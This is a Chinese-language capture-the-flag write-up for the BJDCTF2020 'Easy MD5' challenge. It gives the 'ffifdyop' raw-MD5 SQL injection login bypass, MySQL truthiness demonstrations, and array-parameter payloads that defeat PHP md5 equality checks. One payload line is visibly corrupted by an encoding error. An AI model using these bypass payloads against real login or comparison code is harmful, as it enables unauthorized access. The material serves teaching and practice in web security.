[BJDCTF2020]Easy MD5
第一步
繞過:
"select * from 'admin' where password=' ".md5($pass,true)." ' "
輸入:ffifdyop
原因:數據庫會把16進制轉為ascii解釋
如下: flag{welcome}的16進制是0x666c61677b77656c636f6d657d
而我們的md5(ffifdyop) 會返回16進制字符串
這時原來的語句就是:
"select * from 'admin' where password='' or'6蒥欓!r,b' "
or后面的句子第一個字母是非0打頭的數字符,比如為 ‘ 1abc ’ 或者 ‘ -1bde ’都會被認為是true。
以0開頭會認為是false.
flag{welcome}16進制是
關於16進制和mysql
ffifdyop的md5值
字符串 or '1xxx'
以mysql的三目運算舉例:
select if( "123", "this_is_true","this_is_false");#返回this_is_true
select if( "0xx", "this_is_true","this_is_false");#返回this_is_false
用於題目的實踐
我的表里只有一個值
select * from flag where id = 1 and flag = "123" or '1xxx';#返回表中所有值
select * from flag where id = 1 and flag = "123" or '0xxx';#返回符合id = 1 and flag = "123"的值,因為or '0xxx'解釋為false
第二步
<!--
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
這里用數組即可繞過
?a[]=1&b[]=2
第三步
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
同第二部相同,繞過比較md5的比較用數組
param1[]=1¶m2[]=2